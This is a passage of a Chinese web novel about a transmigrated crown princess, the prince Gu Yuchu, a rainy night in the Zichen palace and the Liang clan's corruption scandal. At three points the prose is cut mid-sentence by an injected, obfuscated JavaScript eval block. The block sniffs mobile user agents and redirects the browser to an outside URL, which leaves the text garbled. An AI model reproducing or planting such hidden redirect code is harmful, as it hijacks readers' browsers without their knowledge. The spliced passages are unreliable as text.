见秋绪当真要出门,兰心赶紧用毛领斗篷将她裹严实,又给她怀里塞了个暖手炉,这才撑起油纸伞,跟在后头出了昭明殿。 两人漫步在东宫游廊间,一路灯笼摇晃,把影子扯得忽长忽短。 秋绪左顾右盼,只觉得这冷雨夜将雕梁画栋都泡褪了色,让原本美如画卷的景致都笼上一层虚虚的晦暗。 抵达紫宸殿门前,秋绪正要上台阶,却听到远处传来一阵喧闹。 她蓦然回望,正好见到一串颤悠的宫灯劈开夜雨,熟悉的身影撞进她眼底。 顾玉初大步流星地穿透雨幕,整个人似一柄出鞘的利剑,他并未穿朝服,一头乌发高束成马尾,玄色骑装紧裹着劲瘦腰身,披风猎猎翻卷。 阔步前行时,他还留心听着跟在身边的属下语速飞快的汇报。 直到临近,眼尖的阿山才猛地刹住脚步:“见过太子妃殿下!” 顾玉初这才抬眸,与殿门前的秋绪对上眼,她微微一歪脑袋,盈盈一笑。 他伸手抹了把额前湿发,右腕束着的护臂刮过眉骨,硬是将满脸水渍擦出几分沙场血气,还留一滴雨珠凝在下巴要坠不坠。 “这么大雨,怎么过来了?” 待顾玉初走近,秋绪才发现他戴了抹额,更是衬得眉峰凌厉,最要命的是那双眼,被雨水浸得漆黑明亮,瞥过来时,四下宫灯里的火焰全点进他眸子里,灼得她想别开脸躲闪。 她一指兰心拎着的胡桃木食盒:“来给你送些甜点。” 顾玉初立刻会意,这人怕是刻意来吃给他看的,于是颔首道:“进去说吧。” 错身而过时,他的护臂拂过她的斗篷绒边,落下一句漫不经心的吩咐:“兰心,给太子妃盛碗山楂消食汤来。” 话音未落,殿门内涌出宫人提灯引路。 顾玉初跨过门槛,径直走入正殿内,随手将佩剑抛给迎上前的宫人。 而后,他便卓然立在原地,一众侍从如众星捧月般簇拥而上,细心地为他解下披 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519546|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风,松开玉冠,摘落抹额。 宫人小心翼翼,摘冠时却还是不小心扯到他的发丝,引得他略一偏头,露出一截儿淋湿的后颈,连着宽肩窄腰,线条竟有力量隐而未发之感。 秋绪正要别开眼,却见那宫人惊慌失措地欲跪地请罪,反倒被他利索地虚扶一下手肘,状似特地吩咐般:“去给孤温一壶姜茶来。” 不过须臾,宫人们便为他换好月白色的燕居服,褪去锐意,添了几分闲适自在。 他转过身来,却见秋绪离得远远的,疑惑道:“怎么不过来?” 不好意思,看这行云流水般的太子换装游戏看入迷了,一时间忘了。 她往前几步,兰心赶忙上前解开她的毛领斗篷,取走那半冷的手炉。殿内炭火正旺,暖意融融,并无一丝寒意。 顾玉初一抬手,殿内宫人们如流水般有序退至殿外,方才还人声窸窣的宫殿忽然静了下来。 秋绪这才自在些,在梨花木椅子上落座,将兰心带来的食盒打开,里面整整齐齐码着八块艾草糯米糕,碧玉似的表面撒着层雪白糖霜,冷着吃反倒更合口味。 她知道,顾玉初对甜点向来毫无兴趣,所以这次真的只带了她自己吃的那份儿。 这般无用的默契。 为了配这糯米糕,她亲自按照兰心教的手法,沏了一壶热气腾腾的茉莉茶,斟入杯中的时候,抬眼问道:“喝不喝?” 顾玉初摇头。 于是她便只倒了一杯。 她心情愉悦地抿一口茶,再捏起糯米糕咬一口,沾了满唇的糖粒子,抬眸看他扫眼打量的模样,出于礼貌问道:“用过晚膳了吗?” 顾玉初在她对面坐下,面色已褪去平日里的凌厉,正支着额角按压太阳穴:“不饿。” 声调裹着倦色,喉间还滞涩着哑意。 那便是没吃了。 想来,他是太累了。 忽然间,殿门轻响。 阿山端着托盘推门而入,将一碗汤药放置在顾玉初面前:“殿下,该服药了。” 秋绪只消一嗅,便知这是顾玉初每日必饮之药,那药味都已经将他腌入味儿了。 顾玉初显然又烦了,刚松开的眉心再次拧出个川字,抵触地将药碗推开:“先晾着。” 阿山见他这样,一时气急,竟梗着脖颈往前两步,涨红了耳根大声道:“今日您便是打死奴,奴也要看着您喝了这碗药再死!” 这平地一声雷,把秋绪震了个好歹。 她诧异地转眸望去,阿山固执地盯着顾玉初,一看就是个认死理的小孩。 偏生这招好像对顾玉初颇为奏效,他沉默地与阿山对峙半晌,最终无奈叹气,端起药碗,仰头一饮而尽。 喝完了汤,他的底气也回来了,一把将空碗倒扣在托盘,不耐烦道:“拿去!” 阿山立马喜笑颜开,嘿嘿笑着往后倒退,躬身道:“姜汤早已备好了,奴这就去给二位殿下端来。” 秋绪叼着糯米糕,还是忍不住乐呵半天。 真是头回见识到这般剑拔弩张的主仆交锋,竟然还是一国储君和他的贴身侍从。 顾玉初显然极不喜欢这药味,嚼了颗蜜饯仍止不住皱眉,索性抢过秋绪的茉莉茶灌下半杯。 秋绪笑不出来了。 “你是强盗吗?刚才给你你不要,现在就非得喝我的?”见他那无动于衷皮厚不要脸的样子,更是烦他得很,干脆伸手道,“那我的药呢?” 20.一个轻吻 瞧秋绪这腔调,这姿态,仿佛在向顾玉初索要何等稀世瑰宝,谁又敢信,她所求的竟然是毒药啊毒药。 第一回顾玉初将瓷瓶递来时,她还有些沉郁,安慰自己道,“罢了,为求保命,人在屋檐下,不得不低头……” 时至今日,她不仅能手心向上,还妥协着商量道:“你要不,干脆一次性给我一个月的剂量吧,省得我每隔七天就得来找你一回,若是你忙得找不着人,那我可嘎巴一下就死了。” 虽说吃这古怪药丸的时间也不短了,倒不像寻常毒物,会烧心灼胃,或是带来其他疼痛。 每次入口,药丸子都很安静,丝毫没有兴风作浪之意,这难免会让她放下警惕,偶尔甚至会忘记吃药这件事情。 顾玉初听罢,放下茶盏,抬手探入怀中,掏出那小瓷瓶朝秋绪抛去:“你先用着这些,回头孤再差人给你多送点。” 这位的回复也是重量级,听着好像是双方在分享什么了不得的珍馐。 秋绪伸手一接,那小瓷瓶上还残存着他的体温,她拔了瓶塞,熟门熟路地倒出一颗药丸丢进嘴里,这才怪道:“你竟然每天随身携带?” 顾玉初饮罢她的茉莉茶,好似胃口大开,这会儿正在从敞开的食盒里挑拣了一块糯米糕,咬了口说:“因为孤也要吃。” 他也要吃? 秋绪狐疑地瞥他一眼,莫非这根本就不是毒药,而是糖丸? 不可能,这货可没那么好心。 那会儿他们才刚认识,她能敏锐察觉到,他所散发出的杀意与猜忌并非虚张声势,在未确认她的潜在威胁是否处于可控范围前,绝不会轻易给予她哪怕一丝喘息的自由。 秋绪恍然大悟:“我懂了,以毒攻毒。” 她宁愿相信他对自己用毒,也不信那药丸半点用处没有。 “又懂什么了你……”顾玉初蹙眉端详她的手指,“你比划个三做什么?什么意思?” 秋绪这才发现,完成推理后下意识比了OK的手势,当即哈哈笑两声,解释道,“在我们那儿,不同手势有不同意思。” 她竖起大拇指,“这个表示很棒。” 又比个耶,“这个意味着胜利了!” 再来个OK,“这个代表好的,知道了,明白了,搞定了,很万能。” 虽然不知道这些有什么用,但顾玉初反应过来的时候,知识已经卑鄙地进入了他的脑子。 他有些不满,于是又抢了她一块糕子。 秋绪想起他回来时并未穿朝服,于是问道:“你今天没去宫里吗?” 顾玉初思索片刻,要从何处开始解释方为妥当:“孤亲自提审了徐斐,今天便带着他画押的供状,突袭了他过账的平安栈总柜。” “嚯,这岂不是正好遂了梁家的心意,他们巴不得你查呢,说说看,搜到什么了?” 秋绪见糯米糕被他吃得差不多,又将食盒打开第二层,里面还有几块杏仁酥,算是弥补了她没够吃的委屈。 “两套账本,和一具尸体。”顾玉初说这些时毫无波澜,似乎早有预料,“除了坐实徐斐贪墨之罪,线索到这儿就断了。” 秋绪冷笑道:“还能再明显些吗?这边大掌柜抱着阴阳账本刚咽气,那边就递上贪墨供词,徐斐这罪名根本不用审了,梁家急着送他去堵悠悠众口呢!” 顾玉初没搭腔,只一扯唇角,算作赞同。 她捏着杏仁酥的手滞在半空,好半天都忘记进嘴,犹疑问:“徐斐当真是替死鬼?” “重要吗?”他嗤一声,“这问题没有意义。” 也是,只要梁家想让他有罪,他便有罪。 这就是梁家抛出来的断尾之策。 此次盐案彻查风声刚起,梁党直接弃卒保车,将平安栈这老牌商号抛至明处混淆视听,实际上他们估计早将核心资产转移。 此时的平安栈,不过一个负债经营的空壳。 梁家的反应比秋绪预想地要快一截儿,寻常世家若遇到这般祸端,总要为沉没成本纠结再三,断尾求生时也犹豫不决。 大抵是因为梁家树大根深,决策时毫不拖泥带水,等那账本呈上后,给徐斐作证的同僚便自请外放,坊间茶馆里也已经有了说书人,将徐斐贪墨讲成太子门生监守自盗的故事。 秋绪听着这些,吃点心都没了胃口:“他们残局收拾得这么利落,咱们岂不是白忙一场?” “那哪儿能?他们行动越是仓促,留下的把柄就越多,顺藤摸瓜总有新发现,问题不大。” 顾玉初边说着,边探手去够杏仁酥,被她一巴掌拍在手背上,却还是眼疾手快地拿到了,对她耀武扬威地一挑眉。 原本秋绪还想着,梁家那一连串狠招下来,难以招架也是正常,但此人眼下还有闲心来抢她吃的,显然那些担心都是她多虑。 秋绪捧着茉莉茶暖手,借着氤氲的雾气观察顾玉初平静的侧脸,若他真被梁家扳倒……她重回梁家,日子必然比不上在昭明殿舒坦。 顾玉初,你可得好好撑住啊! 夜幕低垂,天色已深。 早该回昭明殿了,可外面的倾盆大雨愈演愈烈,密集的雨声似汹涌的潮水,将整个世界不断地反复冲刷。 秋绪抱着手臂倚靠在殿门,那雨帘在石阶上溅起足有大半尺高的水雾,就算撑着伞回去,估计也只有淋成落汤鸡的份儿。 “这鬼天气……” 她嘟囔一声,犹豫不决。 冒雨怕是要生病。 顾玉初淡淡道:“回不去就别回了,你今晚在这儿歇下吧。” 秋绪大惊失色:“这这这成何体统……” 顾玉初倒是浑不在意,似笑非笑道:“反正也不是头一遭了,先前也不见你这般矜持。” 秋绪想起上回用魔爪占他便宜的事情,现在她的扭捏,怕是被误解成欲拒还迎了。 “哎呀,那是两码事!” 她的耳尖泛起红来,这人说的,好似全忘了前两回究竟是谁主动爬上她的床榻——每回都挑她睡着的时候,跟她有什么关系? “殿下与我,虽是夫妻,可这紫宸殿……”秋绪瞅着顾玉初愈发没耐心的神色,委婉地说,“还有别的床吗?” “那你自个儿回去吧,不招待了,送客。” 顾玉初见她千百万个不情愿,也懒得再与她纠缠,直接起身,欲吩咐阿山送热水来了。 “哎呀,哎呀,我不是那意思。”见他满脸写着好心当成驴肝肺,秋绪赶忙迎上前,拽住他的衣袖,不假思索地哄道,“我不过是睡觉爱乱动,怕夜里扰了殿下安睡。” 顾玉初还以为是什么天大的要紧事,让阿山多取来一套被子,就完美解决了。 寝殿里的沉香木雕花床宽敞无比,他的被褥铺在床榻外侧,给她的那床新被褥则在里侧,他们完全可以各占一边,中间隔着楚河汉界。 秋绪打量片刻这夸张布局,最后那点顾虑也消散大半。 一段时间后,她裹着柔软睡袍滚进属于自己的被窝时,兴奋地蹬了蹬被子,顿时被幽幽香气包裹环绕。 当太子就是好,连备用被褥都熏染着如此清透淡雅的香,闻着就很贵。 雨夜该有的惬意,都在此刻齐备。 秋绪先是享用了美味的点心与茶,接着泡了一回玫瑰花浴,被侍从们清洗养护的长发,此时松散地铺在云枕上,发尾还沾着蔷薇露的香气。 她悄悄瞥一眼睡在外侧的顾玉初。 他已经睡了,微微侧着脸,连亵衣领口蹭歪了都未察觉。 也是,他近日早出晚归,半月里连轴转着应对那些明枪暗箭,纵是铁打的身子也该乏了。 秋绪观察片刻他随着呼吸微微起伏的肩线,确认双方都是各自安睡的姿势,连被角都绝对不会交叠,最后那点儿担心也放了下来。 行了,这把他们肯定只能睡素的。 她静悄悄地盖好被子,伴随着寝殿内弥漫的助眠香薰,缓缓闭上了眼睛。 这一觉,秋绪睡得不算沉,不知过了多久,在半梦半醒间,她刚要翻身,却蓦然察觉腰际怎么沉甸甸地压着条胳膊。 迟疑片刻,她猛地一睁眼,发现自己果不其然又在顾玉初怀里。 如同上回在美人榻上的场景,她额头抵住他的咽喉,手臂堂而皇之地环在人家腰间,抱着那滚烫的温度,睡得惬意安然。 秋绪:“……” 真是奇也怪哉,为什么就破不了睡觉一定会滚在一起的设定了? 她茫然地抬起头,望向床榻内侧那遥不可及的枕头被子,也是服了,打个车才能到的距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531642|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她怎么一点儿都想不起来自己到底怎么过来的? 耳畔传来顾玉初均匀的呼吸声,这厮倒睡得安然,半点不知发生什么事儿。 ……在被发现以前赶紧跑吧,要不然顾玉初又以为她满脑子只有那些上不得台面的东西。 她屏住呼吸,慢吞吞地将手臂慢慢抽回。 在这寂静的夜里,连衣物摩擦声都被放大数倍,这么简单的动作都被她做的心惊肉跳。 而后,她缓缓地转过身去,试图以最悄无声息的姿态爬回自己的被窝。 正当秋绪小心翼翼地蛄蛹时,身后突然响起窸窣声响,她立马僵在原地,大气都不敢出。 偷摸回眸一看,原来顾玉初没醒,只是不知梦见什么,微微皱眉,无意识地闷哼一声。 然后,他一个翻身,长臂精准地横亘在她腰间,从背后将她抱住了。 刹那间,秋绪的后脖颈汗毛竖起,脊背绷得笔直,心跳如擂鼓。 不不不怎么就这样了…… 她试图从这桎梏里脱身,可稍一动弹,反而被搂得更紧。 顾玉初仿似找到最合心意的抱枕,横在她腰间的胳膊骤然收紧,竟将她往后拖了半尺——这下连后脑勺都抵上了他肩窝,整个人严丝合缝嵌进他怀里。 此刻,秋绪整个人都被牢牢禁锢在顾玉初的双臂之间,无处可逃。 他的脸抵在她的脖颈处,温热的吐息拂过后颈的肌肤,带起一片细密的战栗。 偏生他的呼吸仍然绵长安稳,鼻尖还无意识地在她发间蹭了蹭,惹得她下意识转眸看去—— 不经意间,嘴角轻轻擦过他的唇。 秋绪触电般转回来,啪的一下捂住了嘴巴,仓皇地把那声尖叫给死死按住了。 她杏眼圆睁,脸涨得通红,但还得保持着僵卧姿态,脊背紧贴的胸膛随呼吸规律起伏,直到确认他依然沉睡,那颗狂跳不止的心,才缓缓恢复平稳。 幸好幸好,他还没醒。 贴贴倒还无妨,若是叫他知道真亲上了,她可真的要死咯。 待情绪稍稍稳定,她这才敢回想片刻方才短暂的触碰,他身体很烫,嘴唇却带着凉意。 不过,很柔软。 由此可见,这人呐,纵使心肠再硬,言辞再冷,嘴唇都还是软软的。 秋绪就这样窝在他怀里胡思乱想着,困意如轻柔的雾气笼罩下来,她本来就没睡够,此时他的姿势,又如同温暖厚实的被子将她包裹。 太有安全感了。 好像回到最初的港湾。 不知不觉间,她的意识愈发模糊,再次陷入了黑甜的梦乡。 察觉到秋绪的呼吸逐渐趋于平缓,她身后的顾玉初却悄然睁开双眼。 他静静垂眸,注视着少女沉睡的侧颜。 视线下移,一寸寸扫过每个细节。 长发如云,堆叠在枕上,发间露出小片盈润洁白的耳垂。 再往下,是线条流畅的脖颈,宛如一段无瑕的玉琢,被领口压出淡淡的绯色印痕,甚至还能看清在肌肤下若隐若现的纤细血管。 此刻,她以毫无防备的姿态安卧,将最柔弱的一面毫无保留地展现在他眼前。 顾玉初的指尖无声地悬停在她颈动脉上方,脆弱的经脉近在咫尺。 只要他一用力,就能折断这截颈骨。 就在他的犹疑之间,睡梦中的秋绪蓦然轻哼一声,兀自往他胸膛更深处蜷缩。 他顺势紧紧拥住少女窈窕的身体,将脸庞深深埋入她的长发与肩颈之间,唇齿已贴上她后颈那寸软肉,却迟迟没有咬下。 喉间满是烧灼的渴意,却只能克制。 后槽牙暗磨,最终他只能饮鸩止渴般,贪婪地嗅着她身上若有若无的香气。 每次看见她这般完全不加设防的姿态,他的内心深处便会涌起一种难以言表的摧毁欲。 那仿似是一种与生俱来的本能,又不知从何而起,又将归于何方。 蓦然间,他的眼前浮现出之前,只要有任何近距离的接触,她都恨不得退避三尺的模样,不禁目光一暗,墨色翻涌。 她对他,竟是抵触到如此地步。 不能让她知晓…… 可是,究竟要怎样忍耐,才能扼制住那想要一口咬下去的冲动呢? 21.将功补过 待秋绪再度睁眼,窗外已是天光大亮。 她支肘坐起,懒洋洋地打了个哈欠,长发从肩头滑落,还带着淡淡的蔷薇露的香气。 顾玉初清晨就赶早朝去了,这会儿床榻上只剩她一个人,显得更宽敞了。 仍是觉得困倦,秋绪翻了个身继续赖床。 此时,她躺着他的床榻,枕着他的枕头,拥着他的锦被,心想紫宸殿真乃风水宝地,不仅太子饭好吃,太子床也很好睡,她后来睡得特别安稳,甚至都没察觉到他起床离开的动静。 迷糊半晌,她才忽觉周身覆盖全是顾玉初的物件儿,他的气息温柔地环绕着她,似有若无,却又无处不在。 ……嗯,睡得好可能不只是床铺问题。 那气息霎时勾起夜半时分的回忆,意识渐渐清醒过来,一睁眼便看见那床她原本睡的被子,仍堆在里侧,早就凉透了。 可恶,睡前千防万防,最终还是滚进顾玉初怀里睡了一宿。 她的指尖无意识地抚上唇角,回想起那似吻非吻的瞬间,耳尖蓦地红了。 决不能叫他知晓,必要当场讥讽她孟浪的,这糊涂账权当微风过耳吧,别再想了。 可是啊啊啊真的亲到了! 老天鹅,她不小心亲到了顾玉初! 她吃吃笑一声,突然抓过被子蒙头栽进枕堆,咿咿呀呀地滚来滚去。 太好笑了,昨晚她还在心惊肉跳,等他这会儿不在了,她才后知后觉地放肆激动起来。 秋绪在床榻上自顾自地闹腾了好一阵子,寝殿外面候着的兰心听到动静,轻轻敲门问道:“殿下,可是要起身了?” 被窝里骤然挣脱出个乱蓬蓬的脑袋,睡衣也歪歪斜斜,她偏还要故作镇定,面色肃然地说:“嗯,可以,起床吧。” 等她胡乱理理长发,赤足踩上脚踏,又忍不住期盼地抬脸问道:“今天早膳可以在紫宸殿吃太子饭吗?” “当然了。”兰心忍着笑意道,“太子殿下离开之前就吩咐过的。” 不错,今天不是狗太子,是好太子。 看来顾玉初确实记着上回她说紫宸殿的饭食比昭明殿的好吃。 桌案前,秋绪正唏哩呼噜喝着鸡丝粥,忽然感觉到裙摆被某只毛爪爪按住,她低头一瞧,正好撞上踏雪那琥珀似的眼睛。 “哇!踏雪宝贝!快来姐姐抱抱!” 这一声呼唤,踏雪立马轻盈地跃至她怀里,呼噜声加足了马力,甚至还亲昵地蹭蹭她的下巴,娇滴滴地喵了一声。 踏雪真的是万人迷小猫咪,太会了,只要稍稍一钓,就把她迷得找不着北。 秋绪抱着踏雪,一边揉搓着一边已经有些套麻袋抢小猫的念头,反正顾玉初整日忙着朝堂大事,早出晚归的,怕是顾不得给踏雪爱的陪伴,而她有的是时间和踏雪培养感情。 她夹着嗓音轻声细语:“宝贝,姐姐总有一天要把你带回昭明殿哦~等着姐姐~” 与此同时,一直淅淅沥沥的冷雨竟然都停歇半晌,秋绪嘿嘿一笑,低头亲一口踏雪,看来老天爷也赞同她的想法。 趁着雨停了,秋绪赶紧回了昭明殿,刚迈过门槛儿,她习惯性看一眼那棵巨大的银杏树。 经过这些天的暴雨,老树被打掉了很多叶子,漫天漫地地覆盖满院,简直像千百只金黄的蝴蝶跌入泥尘。 树下的水池也被叶子填得满满当当,甚至连秋千架也披了一层水润的金衣。 没有准许,宫人们并未打扫落叶,只因太子妃未归,还没看到这一方秋景。 秋绪果然举着油纸伞,当场愣在原地,看着那宛若梦境的场景,久久无法回神。 然后她一抓兰心的手道:“快去请画师来,该死的,这世界为什么没有相机,真是断送了我当风光摄影师的梦想。” 接下来的数日,秋绪过得闲适而充实。 清晨用罢桃花粥,就着尚且明亮的天色读读旧书,午间伴着雨声小憩,下午就跑来院子里,对着老树铺开画纸。 ——当不了风光摄影师,那就当风光画家。 虽说至今连树干树枝的线条都勾不好,但也勉强算是陶冶情操。 直到这日,她正在进行涂鸦速写,自信满满地把一盘葡萄画成一盘狗粑还怡然自得。 兰心却来禀,说宫里来了人传口谕:“陛下召太子妃即刻往御书房觐见。” 秋绪惊得连笔都丢了。 魏衡帝能找她有什么事儿?她一不参政二没犯法的,偏在徐斐案波澜未平之际召见?莫非是要追究梁氏小动作牵连东宫?还是梁家借题发挥要给她个下马威? 她胡思乱想着,待兰心为她整理好衣冠,便启程匆匆赶往御书房。 没料到轿子行至半途中,秋绪竟与梁皇后的凤辇不期而遇,她不敢懈怠,赶紧下轿,趋步向前行了个礼。 凤辇的帘子被一只手撩起一角,梁皇后半边面容隐在阴影中,淡淡道:“上来。” 这是要训话了? 秋绪心头突突地跳,定定神后,上去后乖巧地坐在梁皇后侧边。 梁皇后的面上看不出表情,只抬眸道:“说吧,你到底同他透露了多少?” 秋绪:?那可多了去了。 实不相瞒他现在连你失眠多梦都知道。 她眼睫轻颤,正欲开口,梁皇后却抬手止住她的话头,语气干脆道:“本宫只听实情。” 万千思绪在秋绪脑中闪过。 她忽觉不对。 自己这受制于人的情况,梁皇后又不是不知道,早该做好信息泄露的设想,怎么这莫名其妙地对她突然发难,怕是还有其他隐情。 想到此处,秋绪斟酌着开口,按照梁皇后的要求,挑拣着些实话说了。 “前些日子,辰哥儿来过一趟,臣妾寻了由头婉拒了见面,太子难免会过问几句,不过辰哥儿一直被保护得很好,许多事情并不知晓,即便太子再三追问,怕是也寻摸不到突破口……” 秋绪心里猛地一跳,恍然大悟般抬眸,“可是书院出了事儿?这是唯一与辰哥儿相关的了。” 四目相对,她从梁皇后的眼神中得到了肯定的答案。 秋绪赶忙摇头,澄清道:“母后,书院休沐可并非稀罕事儿,即便臣妾未曾提及,太子知晓也是正常……” 停顿一下,她疑惑道,“可为什么在这节骨眼儿上,书院会闹出这么大动静来?” 梁皇后深叹一口气,咬牙切齿道:“蠢!梁振这个蠢货!” “那蠢货竟是将银子送去了书院,现下刑部已经将书院围了,他倒好,躲在坊间听戏呢!” 仅此一句,秋绪豁然开朗。 梁振正是“她”的二叔,此前在返京途中偶然遇见,那时系统还强行要求秋绪完成任务。秋绪不仅照做,还借机煽动梁振一番。 果不其然,这人终究是按捺不住,回去后便暗中捣鼓了些小动作。 近来梁家出事,按兵不动方为上策。 然而,平安栈被顾玉初一举端掉,此前那笔银子必须即刻妥善消化,方能斩断隐患的尾巴。 平日里,根本轮不到梁振来做决策。可最近梁国公府上下皆忙于营救梁世子,可算让他逮着这空隙,擅自做主,将这笔银子挪作书院的扩建费用。 漱玉书院本是上佳之选,运营多年,不仅稳如磐石,还名声响亮,扩建罢了,怎么看都是一桩极为寻常的小事。 他还自以为行事缜密,滴水不漏。 可惜,时机不对,这一番操作和送人头没什么区别。 常言道,不怕蠢人犯蠢,就怕人蠢还勤快。 秋绪心下了然,这大概就是顾玉初上回所说的那条线索了。 即便她已心如明镜,却还要在此时故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544836|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作惊讶道:“怎会是二叔?二叔向来对这些俗务不屑一顾啊。” 梁皇后烦闷异常,厌蠢症都犯了。她真是不明白,兄妹几人同为父母所生,怎么心智差距堪比天海之别? 她和大哥明显血脉相连,而这二哥好似吸收了全族的笨蛋基因,倒像是捡来的。 “你又不是不知道,这些年梁家待他何等仁厚,但烂泥扶不上墙,偏要走捷径,临到头来,还觉得是我们亏钱与他!” 梁皇后语气不耐,“如今见朝局浊浪翻涌,他倒以为自己能当个弄潮儿了,偏要强出头。” 秋绪赶紧轻声相劝:“母后既看得这般分明,暂且莫要同他计较了,眼下保书院总比保山长要紧,况且平安栈已经名存实亡……会没事的。” 依照梁家一贯心狠手辣的作风,这一次的替死鬼大抵应是漱玉书院的山长。 秋绪瞧梁皇后的神情,要是可以,她肯定非常乐意用傻子二哥换山长,毕竟要栽培出一个死心塌地的人才,谈何容易。 只可惜,傻子姓梁,甩也甩不脱。 梁皇后闻言眉尾一扬,打量她道:“你倒是门儿清。” 秋绪垂首,轻叹道:“前些日子,臣妾去求太子拿药,无意间听到他们谈及总柜已死,这才猜到了几分缘由。” 她神色怅然,“终究是往日父亲耳提面命教得精细,只是不知,他如今境况究竟如何了……” 梁皇后揉着额角不欲深谈,向外吩咐道:“起辇罢,一道儿去御书房。” 一路上,二人闲话家常,多是梁皇后发问,秋绪应答,言辞俱是滴水不漏的周全。 不过片刻的功夫,她们已至御书房,还未进门,便听得里头笑语喧闹。 秋绪抬眼一扫,除了魏衡帝与顾玉初,书房里还有其他人。 三皇子已是旧相识,上次相见还是意气风发模样,如今在刑部连轴转着查舅父的案子,倒显出几分颓唐。 真正的新面孔当属大皇子夫妇。 那位以风仪出众闻名京城的大皇子,果然光风霁月,如同谪仙下凡。他身侧的大皇子妃眉目温婉,很有江南女子的韵致,倒是天造地设的一对璧人。 满室热闹因她们到来而安静了刹那,当然,那热闹和顾玉初也没什么关系,他向来擅长凭一己之力孤立所有人。 梁皇后扶着秋绪的手,走进书房内,首先开口道:“路上正巧遇见阿绪,便一同过来了,诸位可是等候多时了?” 魏恒帝端坐宝座,声音温和地嗔怪道:“这话说得,哪次不是等皇后来了才谈正事儿?” 他这般作态,看似捧得梁皇后尊贵无双,偏生她不过漫不经心一勾唇角,并未搭腔,径自施施然入座。 秋绪规矩行礼,而后朝着顾玉初的方向走去,不想他竟下意识抬手浅迎,意识到后,又将手放下了。 然而秋绪步伐未停,只在他身边站定,低垂着眼眸,开启了隐形人大法。 这细微的举动偏巧被大皇子妃捕捉到,却也只是将目光移开,并未表态。 待梁皇后仪态端庄地坐定,这才问道:“既传召本宫与孩子们前来,想必陛下有要事相商?” 魏衡帝并未言语,只一抬下巴,顾玉初立即出列,端端正正地行一礼道:“禀父皇母后,近日各地灾情反复,临阳尤甚,儿臣奏请赴临阳,督办赈济事宜,将功补过。” 此言一出,秋绪骤然抬眸,只觉有异。 在原著之中,此时的确水患严重,上回赈灾米被水泡了的事情,就发生在临阳,而皇家确实也委派了皇子,前往灾区,以行安抚慰问之责。 但她记得,本该是大皇子率礼部众人南下颁抚恤银,沿途收尽民心。 她知晓这些,是因为看过原著。 可顾玉初怎会突然抢这差事? 难道真如他所言,仅仅是为了“将功补过”? 22.别动打劫 顾玉初此番请命,犹如向平静水面抛掷了一块大石头,惊起层层浪花。 实际上,自各地水患以来,朝堂早有共识,要遣皇子代天巡狩。最初议定时,在礼部领职的大皇子本就是众望所归——无论赈灾所需的祥瑞仪典,还是安抚民心的祭天祷祝,都与礼部职司环环相扣。 顾玉初此举,无异于公然抢夺他人差事。 于是,在最初的惊讶后,大皇子面露不悦,出列对他进行劝说:“二弟可知,所谓礼者,天地之序也,灾后安民非但需钱粮赈济,更要依礼制,举行慰灵大典,代圣上祭拜山川……这些镇魂定心的仪轨,难道不比几袋糙米更要紧?” 他说罢,转身面向帝后,“儿臣月初便命钦天监推算过吉日吉时,若此时临时更替主祭,恐令百姓以为,天命难测。” 顾玉初微微颔首:“皇兄所言礼部仪典确不可废,然而,此番临阳之灾,是水患所致。” 他拱拱手,言辞恳切,“儿臣认为,临阳遇难,水利失修、堤坝将倾和房舍坍塌才是燃眉之急。“ ”儿臣任职工部多年,流程熟稔,若得父皇母后恩准,愿率工部能臣救灾重建,还临阳百姓安宁。” 顾玉初说得大义凛然,也不无道理。 工部本为“兴利除害”而设,工程技术与物资调度缺一不可,那些筑堤修路的踏实功夫,确实比祭天祷雨的虚礼更急迫。 见兄长被噎得无言以对,三皇子自觉守护亲哥义不容辞,当即大步迈出:“长幼有序的规矩都不顾了?赈济灾民本就是嫡长子之责,你抢个什么劲儿?” 或许近日来,他在刑部心力交瘁,正憋了一肚子火,此刻想也未想便朝顾玉初发难,“你们工部那些泥瓦匠的活计,打发个主事去便是!” 秋绪闻言,心下一惊。 好你个三皇子,怪道能和梁翊辰玩儿到一起去,这看眼色的本事也太拙劣了。 他说的这话,瞧着是暗中讥讽太子虽居东宫,然实为次子,可真正的回旋镖,扎的可是他娘亲梁皇后。 遥想当年,林皇后嫁与魏衡帝之后,便稳居正宫之位。而梁氏虽诞下长子,终究在林后入主中宫时带着稚子退居西殿。 皇后不仅是“皇帝的妻子”,而是一个政治性职位,分割皇权,或者说就是皇权的一部分。 因此,这无关情爱,而是权力博弈的必然。 直到林皇后香消玉殒,梁氏登上后位,多年来身为庶皇子的大皇子与三皇子,其身份地位才从此水涨船高。 